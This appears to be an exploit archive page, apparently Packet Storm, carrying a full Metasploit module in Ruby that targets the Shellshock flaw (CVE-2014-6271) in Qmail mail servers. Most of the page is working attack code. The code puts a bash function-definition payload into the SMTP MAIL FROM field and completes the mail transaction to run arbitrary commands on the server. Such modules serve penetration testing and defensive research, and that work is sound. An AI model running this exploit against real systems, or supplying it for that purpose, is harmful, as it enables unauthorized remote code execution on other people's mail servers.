what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Qmail SMTP Bash Environment Variable Injection (Shellshock)

Qmail SMTP Bash Environment Variable Injection (Shellshock)
Posted Sep 29, 2017
Authored by Kyle George, Gabriel Follon, Mario Ledo | Site metasploit.com

This Metasploit module exploits a shellshock vulnerability on Qmail, a public domain MTA written in C that runs on Unix systems. Due to the lack of validation on the MAIL FROM field, it is possible to execute shell code on a system with a vulnerable BASH (Shellshock). This flaw works on the latest Qmail versions (qmail-1.03 and netqmail-1.06). However, in order to execute code, /bin/sh has to be linked to bash (usually default configuration) and a valid recipient must be set on the RCPT TO field (usually admin@exampledomain.com). The exploit does not work on the "qmailrocks" community version as it ensures the MAILFROM field is well-formed.

tags | exploit, shell, bash
systems | unix
advisories | CVE-2014-6271
SHA-256 | 312980cfe01d6ece2e6c4f8b4625555a7173a1cdd391e9346ac2f685ab5d2b6a

Qmail SMTP Bash Environment Variable Injection (Shellshock)

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Smtp

def initialize(info={})
super(update_info(info,
'Name' => 'Qmail SMTP Bash Environment Variable Injection (Shellshock)',
'Description' => %q{
This module exploits a shellshock vulnerability on Qmail, a public
domain MTA written in C that runs on Unix systems.
Due to the lack of validation on the MAIL FROM field, it is possible to
execute shell code on a system with a vulnerable BASH (Shellshock).
This flaw works on the latest Qmail versions (qmail-1.03 and
netqmail-1.06).
However, in order to execute code, /bin/sh has to be linked to bash
(usually default configuration) and a valid recipient must be set on the
RCPT TO field (usually admin@exampledomain.com).
The exploit does not work on the "qmailrocks" community version
as it ensures the MAILFROM field is well-formed.
},
'Author' =>
[
'Mario Ledo (Metasploit module)',
'Gabriel Follon (Metasploit module)',
'Kyle George (Vulnerability discovery)'
],
'License' => MSF_LICENSE,
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'References' =>
[
['CVE', '2014-6271'],
['CWE', '94'],
['OSVDB', '112004'],
['EDB', '34765'],
['URL', 'http://seclists.org/oss-sec/2014/q3/649'],
['URL', 'https://lists.gt.net/qmail/users/138578']
],
'Payload' =>
{
'BadChars' => "\x3e",
'Space' => 888,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic telnet perl ruby python'
# telnet ruby python and perl works only if installed on target
}
},
'Targets' => [ [ 'Automatic', { }] ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 24 2014'
))

deregister_options('MAILFROM')
end

def smtp_send(data = nil)
begin
result = ''
code = 0
sock.put("#{data}")
result = sock.get_once
result.chomp! if (result)
code = result[0..2].to_i if result
return result, code
rescue Rex::ConnectionError, Errno::ECONNRESET, ::EOFError
return result, 0
rescue ::Exception => e
print_error("#{rhost}:#{rport} Error smtp_send: '#{e.class}' '#{e}'")
return nil, 0
end
end

def exploit
to = datastore['MAILTO']
connect
result = smtp_send("HELO localhost\r\n")
if result[1] < 200 || result[1] > 300
fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))
end
print_status('Sending the payload...')
result = smtp_send("mail from:<() { :; }; " + payload.encoded.gsub!(/\\/, '\\\\\\\\') + ">\r\n")
if result[1] < 200 || result[1] > 300
fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))
end
print_status("Sending RCPT TO #{to}")
result = smtp_send("rcpt to:<#{to}>\r\n")
if result[1] < 200 || result[1] > 300
fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))
end
result = smtp_send("data\r\n")
if result[1] < 200 || result[1] > 354
fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))
end
result = smtp_send("data\r\n\r\nfoo\r\n\r\n.\r\n")
if result[1] < 200 || result[1] > 300
fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))
end
disconnect
end
end
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close